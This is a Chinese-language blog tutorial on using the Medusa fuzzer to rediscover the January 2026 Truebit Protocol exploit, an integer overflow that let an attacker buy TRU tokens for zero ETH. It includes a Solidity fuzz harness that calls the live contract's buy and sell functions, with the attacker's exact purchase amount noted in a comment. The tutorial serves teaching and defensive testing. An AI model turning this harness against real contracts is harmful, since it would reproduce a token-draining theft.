Medusa - 智能合约 Fuzzing 工具 Truebit Protocol 案例讲解（二）
案例背景
20260109，ETH 链上的 Truebit Protocol 遭受了黑客攻击，损失约 2600 万美元。漏洞原因是计算购买 TRU 代币所需要的 ETH 数量的计算公式设计存在缺陷，购买大量 TRU 代币时会因为 0.6.10 版本没有防溢出机制而发生上溢出得到 0 值，使得攻击者可以以 0 ETH 购买大量的 TRU 代币，最后抛售完成获利。
前置内容-完整攻击分析：https://www.cnblogs.com/ACaiGarden/p/19465686
Trace 分析
- 黑客调用 buyTRU() 函数以零成本购入大量的 TRU 代币
- 然后调用 sellTRU() 函数卖出所有 TRU 代币完成获利
随后攻击者利用漏洞以零或极低成本的价格购买 TRU 代币后出售的流程重复多次。
Medusa 配置
首先参考《Medusa - 智能合约 Fuzzing 工具介绍与案例讲解》中的内容对 Medusa 进行初始化与配置。
Fuzz 函数挑选与实现
Fuzz 函数挑选
在编写 fuzz 函数之前，首先要挑选需要对哪些函数进行 fuzz，可以按照以下的条件进行筛选：
- public 或 external 的函数
- 非 view 和 prue 的函数
- 没有权限访问控制的函数
- 非一次性调用的函数（如 initialize）
其中满足以上条件的函数有
- `0xa0296215(uint256)`（购买/铸造路径：依赖 `msg.value` 与定价计算，容易出现边界值/除零/舍入问题）
- `0xc471b10b(uint256)`（赎回/燃烧路径：依赖 `allowance`、`transferFrom`、对外部合约调用与 ETH 转账，容易出现重入/资金守恒/状态不一致问题）
- `0xdb5c0f79()`（`payable` 增加储备：fuzz `msg.value` 与多次调用组合）
Fuzz 函数实现
在 TRUVulnerabilityFuzz 合约中，实现了对 0xa0296215（buyTRU(uint256 amount)） 和 0xc471b10b（sellTRU(uint256 amount)） 两个未开源函数的 fuzz，以及一个检查函数 property_checkBalance()
0xa0296215（buyTRU(uint256 amount)：需要调用 getPurchasePrice 函数（反编译的时候提供了函数名）计算对应的 msg.value ，伴随函数调用传入。0xc471b10b（sellTRU(uint256 amount)）：直接提供卖出的 TRU 代币数量，需要实现 receive 函数接收返回的 ETH 代币。但是在 fuzz 过程中 Medusa 会尝试往 receive 函数中转账，所以要添加权限控制。property函数则检查了合约的余额（初始值为 1e28）经过 sequence 操作后是否增加，如果增加则判断发现了获利的途径。
contract TRUVulnerabilityFuzz is Test {
IStdCheats cheats = IStdCheats(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address public TruebitProtocol = 0x764C64b2A09b09Acb100B80d8c505Aa6a0302EF2;
address TRU = 0xf65B5C5104c4faFD4b709d9D60a185eAE063276c;
constructor() payable {
cheats.deal(address(this), 1e28);
IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
}
// fuzz buyTRU(uint256 amount)
function fuzz_0xa0296215(uint256 fuzz_amount) public {
// TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().
// fuzz_amount = 240442509453545333947284131; // Amount used by hacker
uint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);
if (ethAmount > address(this).balance) return;
(bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));
require(ok, "Failed to call 0xa0296215");
}
// fuzz sellTRU(uint256 amount)
function fuzz_0xc471b10b(uint256 fuzz_amount) public {
// 0xc471b10b() is nonPayable
(bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));
require(ok, "Failed to call 0xc471b10b");
}
// function fuzz_0xdb5c0f79(uint256 fuzz_value) public {
// fuzz_value = fuzz_value > address(this).balance ? address(this).balance : fuzz_value;
// (bool ok,) = TruebitProtocol.call{value: fuzz_value}(abi.encodeWithSelector(bytes4(0xdb5c0f79)));
// require(ok, "Failed to call 0xdb5c0f79");
// }
function property_checkBalance() external view returns (bool) {
if (address(this).balance > 1e28) assert(false);
return true;
}
// While fuzzing, the fuzzer will send ETH to the contract.
receive() external payable {
if (msg.sender != TruebitProtocol) revert();
}
}
0xa0296215（buyTRU(uint256 amount)
在编写 fuzz 函数的时候，需要关注反编译代码中的 require 函数，尽可能地使得输入的参数满足函数要求，是能够正常执行的，这样会大幅提高命中的概率。比如在 0xa0296215 函数中，需要检查 msg.value 是否和计算的到的 v0 一致，而函数 0x1446 就是一个价格计算函数。
所以在实现 fuzz 函数的时候，需要先通过 getPurchasePrice（0x1446）计算所需要传入的 msg.value，然后再进行调用。
// fuzz buyTRU(uint256 amount)
function fuzz_0xa0296215(uint256 fuzz_amount) public {
// TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().
// fuzz_amount = 240442509453545333947284131; // Amount used by hacker
uint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);
if (ethAmount > address(this).balance) return;
(bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));
require(ok, "Failed to call 0xa0296215");
}
0xc471b10b（sellTRU(uint256 amount)）
在编写 0xc471b10b 对应的 fuzz 函数时，检查反编译的内容，需要留意的是 nonPayable 修饰器，还有对授权额度的检查。
所以在 constructor 对代币进行了最大额度的授权，然后 call 函数避免带有 msg.value。
constructor() payable {
cheats.deal(address(this), 1e28);
IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
}
// fuzz sellTRU(uint256 amount)
function fuzz_0xc471b10b(uint256 fuzz_amount) public {
// 0xc471b10b() is nonPayable
(bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));
require(ok, "Failed to call 0xc471b10b");
}
结果分析
由于机器硬件与时间的限制，未能实际 fuzz 出结果
为了验证 fuzz 函数写的时没有问题的，尝试硬编码 fuzz_amount 为攻击者所采用的参数，可以马上得到结果。
显示 fuzz 出来满足条件的 sequence 路径如下，和攻击者执行的操作一致。
通过本案例是实践，得到的结论是，Fuzz 工程除了需要开发者非常了解目标协议，尽可能地编写出高效的测试函数，还需要高性能的机器来提供支撑。相信通过这两个入门级的案例，也能够让读者了解到，fuzz 并不是什么“灵丹妙药”。虽然它在实际应用中有着一些局限，但是在经验丰富的开发者和强大的机器支持下，仍然是一个挖掘未知漏洞的可行之法。
浙公网安备 33010602011771号